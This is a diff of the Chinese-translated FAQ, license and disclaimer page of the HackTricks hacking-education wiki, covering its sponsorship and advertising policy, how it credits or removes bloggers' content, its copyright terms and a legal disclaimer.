我们之所以有赞助商,是因为即便所有内容都是免费的,我们仍希望**为社区提供表达对我们工作的赞赏的方式**(如果他们愿意的话)。因此,我们提供人们通过 [**Github sponsors**](https://github.com/sponsors/carlospolop) 向 HackTricks 捐助的选项,并允许一些**相关的网络安全公司**赞助 HackTricks,并在书中放置一些**广告**,这些**广告**总是放在可见的位置,但**不会打扰到学习过程**,如果有人集中精力阅读内容的话。 -> -> 你不会在 HackTricks 里看到像其他内容远不及 HackTricks 的博客那样烦人的广告,因为 HackTricks 不是为商业目的而制作的。 -> +> - **你为什么有赞助商?HackTricks 这些书是为了商业目的吗?** + +第一个 **HackTricks** 的 **价值** 是为**全世界**提供**免费**的黑客教育资源。HackTricks 团队已经**投入了数千小时**来提供这些内容,同样是**免费的**。 + +如果你认为 HackTricks 书是为了**商业目的**,那你**完全错了**。 + +我们有赞助商,因为即使所有内容都是免费的,我们也希望**给社区提供一个表达对我们工作的感谢的途径**。因此,我们提供人们通过 [**Github sponsors**](https://github.com/sponsors/carlospolop) 向 HackTricks 捐助的选项,并允许**相关的网络安全公司**赞助 HackTricks,以及在书中**投放一些广告**,这些**广告**总是放在能**被看到**但不会**打扰学习**的地方。 + +你不会看到 HackTricks 被像其他内容远不及 HackTricks 的博客那样充斥着恼人的广告,因为 HackTricks 并不是为了商业目的而制作的。 + > [!CAUTION] > -> - **What should I do if some HackTricks page is based on my blog post but it isn't referenced?** -> -> **我们非常抱歉。这样的情况不应该发生**。请通过 Github issues、Twitter、Discord 等方式告知我们该 HackTricks 页面与原始内容的链接以及你博客的链接,**我们会检查并尽快添加引用**。 -> +> - **如果某个 HackTricks 页面基于我的博客文章但没有引用我,我该怎么办?** + +**非常抱歉。这样的情况不应该发生**。请通过 Github issue、Twitter、Discord 等方式告知我们该 HackTricks 页面包含该内容的链接以及你的博客链接,**我们会检查并尽快添加引用**。 + > [!CAUTION] > -> - **What should I do if there is content from my blog in HackTricks and I don't want it there?** -> -> 请注意,在 HackTricks 中链接到你的页面会: -> -> - 提高你的 **SEO** -> - 该内容会被**翻译成 15 种以上语言**,使更多人可以访问该内容 -> - **HackTricks 鼓励** 人们**查看你的页面**(有人提到,自从他们的某个页面被收录到 HackTricks 后,他们收到了更多访问量) -> -> 然而,如果你仍然希望从 HackTricks 中删除你博客的内容,只需告知我们,我们将**删除所有指向你博客的链接**以及任何基于你内容的条目。 -> +> - **如果我的博客内容被收录在 HackTricks 中但我不希望它存在该处,我该怎么办?** + +请注意,HackTricks 中有你页面的链接会带来: + +- 提升你的 **SEO** +- 内容会被**翻译成 15+ 种语言**,让更多人能访问到这些内容 +- **HackTricks 会鼓励**人们去**查看你的页面**(有人告诉我们,自从他们的某篇页面出现在 HackTricks 后,他们收到了更多访问量) + +但是,如果你仍然希望从 HackTricks 中移除你博客的内容,请告知我们,我们会**删除所有指向你博客的链接**以及任何以其为基础的内容。 + > [!CAUTION] > -> - **What should I do if I find copy-pasted content in HackTricks?** -> -> 我们始终**给予原作者全部的署名**。如果你发现某页面存在未引用原始来源的抄袭内容,请告知我们,我们将要么**删除该内容**,要么**在文本前添加链接**,或者**重写内容并添加链接**。 +> - **如果我发现 HackTricks 中有抄袭内容,我该怎么办?** + +我们始终**给予原作者全部署名**。如果你发现有页面包含未引用原始来源的抄袭内容,请告知我们,我们会**删除它**、**在文本前添加链接**,或**重写并加入链接**。 ## LICENSE -版权所有 © 除非另有说明,否则保留所有权利。 +Copyright © All rights reserved unless otherwise specified. #### License Summary: @@ -116,28 +116,28 @@ url = {\url{https://book.hacktricks.wiki/specific-page}}, #### Additional Terms: -- Third-Party Content: 本书/博客的某些部分可能包含来自其他来源的内容,例如其他博客或出版物的摘录。此类内容的使用遵循合理使用原则或已获得相应版权持有者的明确许可。有关第三方内容的具体许可信息,请参阅原始来源。 -- Authorship: HackTricks 创作的原始内容受本许可条款约束。鼓励在共享或改编本作品时对作者进行署名。 +- Third-Party Content: 部分本博客/书籍的内容可能包含来自其他来源的内容,例如摘自其他博客或出版物的片段。此类内容的使用基于合理使用原则或经相应版权持有者的明确许可。有关第三方内容的具体许可信息,请参考原始来源。 +- Authorship: HackTricks 创作的原始内容受本许可条款约束。鼓励在分享或改编本作品时对作者进行署名。 #### Exemptions: -- Commercial Use: 如需就商业用途咨询本内容的使用,请与我联系。 +- Commercial Use: 关于将本内容用于商业用途的咨询,请与我联系。 -本许可不授予与内容相关的任何商标或品牌权利。本博客/书籍中出现的所有商标和品牌均为其各自所有者的财产。 +本许可并不授予与内容有关的任何商标或品牌权利。本博客/书籍中出现的所有商标和品牌均为其各自所有者的财产。 -**通过访问或使用 HackTricks,你同意遵守本许可条款。如果你不同意这些条款,请勿访问本网站。** +**访问或使用 HackTricks 即表示你同意遵守本许可条款。如果你不同意这些条款,请不要访问本网站。** -## **Disclaimer** +## **免责声明** > [!CAUTION] -> 本书《HackTricks》仅用于教育和信息目的。书中内容按“现状”提供,作者和出版方对本书中包含的信息、产品、服务或相关图表的完整性、准确性、可靠性、适用性或可用性不作任何明示或暗示的陈述或保证。任何对该等信息的依赖均由用户自行承担风险。 +> 本书《HackTricks》仅用于教育和信息目的。书中内容以“现状”提供,作者和出版者对书中信息、产品、服务或相关图像的完整性、准确性、可靠性、适用性或可用性不作任何明示或暗示的陈述或保证。你对该等信息的任何依赖将完全由你自行承担风险。 > -> 作者和出版方在任何情况下均不对任何损失或损害承担责任,包括但不限于间接或衍生的损失或损害,或因使用本书而导致的数据或利润损失。 +> 在任何情况下,作者和出版者均不对任何损失或损害承担责任,包括但不限于间接或后果性损失或损害,或因使用本书而引起的数据或利润损失。 > -> 此外,本书中描述的技术和提示仅用于教育和信息目的,不应用于任何非法或恶意活动。作者和出版方不赞同或支持任何非法或不道德的活动,使用本书中信息的任何行为均由用户自行承担风险和决定。 +> 此外,本书中描述的技术和提示仅用于教育和信息目的,不应用于任何非法或恶意活动。作者和出版者不赞同或支持任何非法或不道德的活动,使用本书中任何信息的风险和后果由用户自行承担。 > -> 用户对基于本书所含信息采取的任何行动独自负责,在尝试实施书中任何技术或提示时,应始终寻求专业建议和帮助。 +> 用户对基于本书所含信息所采取的任何行动单独负责,并在尝试实施书中任何技术或提示时应始终寻求专业建议与帮助。 > -> 使用本书即表示用户同意解除作者和出版方因使用本书或其中任何信息而可能导致的任何及所有损害、损失或伤害的责任与责任。 +> 使用本书即表示用户同意放弃对作者和出版者因使用本书或其任何信息而可能导致的任何损害、损失或伤害的所有责任追究。 {{#include ../banners/hacktricks-training.md}}